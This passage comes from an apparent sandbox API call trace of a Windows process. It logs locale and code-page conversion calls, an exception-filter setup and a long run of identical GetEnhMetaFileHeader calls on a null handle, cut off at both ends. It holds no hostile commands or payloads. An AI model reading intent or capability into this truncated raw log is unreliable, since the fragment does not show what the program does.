c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xfa\x04\xe1\xeb\xe4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0097.472] GetLastError () returned 0x0 [0097.472] SetLastError (dwErrCode=0x0) [0097.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0097.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0097.472] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0097.472] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0097.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xfa\x04\xe1\xeb\xe4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0097.472] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4091c1) returned 0x0 [0097.472] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xd25828) returned 0x80 [0097.473] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xd25828) returned 0x80 [0097.473] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xd25828) returned 0x80 [0097.473] RtlSizeHeap (HeapHandle=0xd10000, Flags=0x0, MemoryPointer=0xd25828) returned 0x80 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.483] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.484] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: 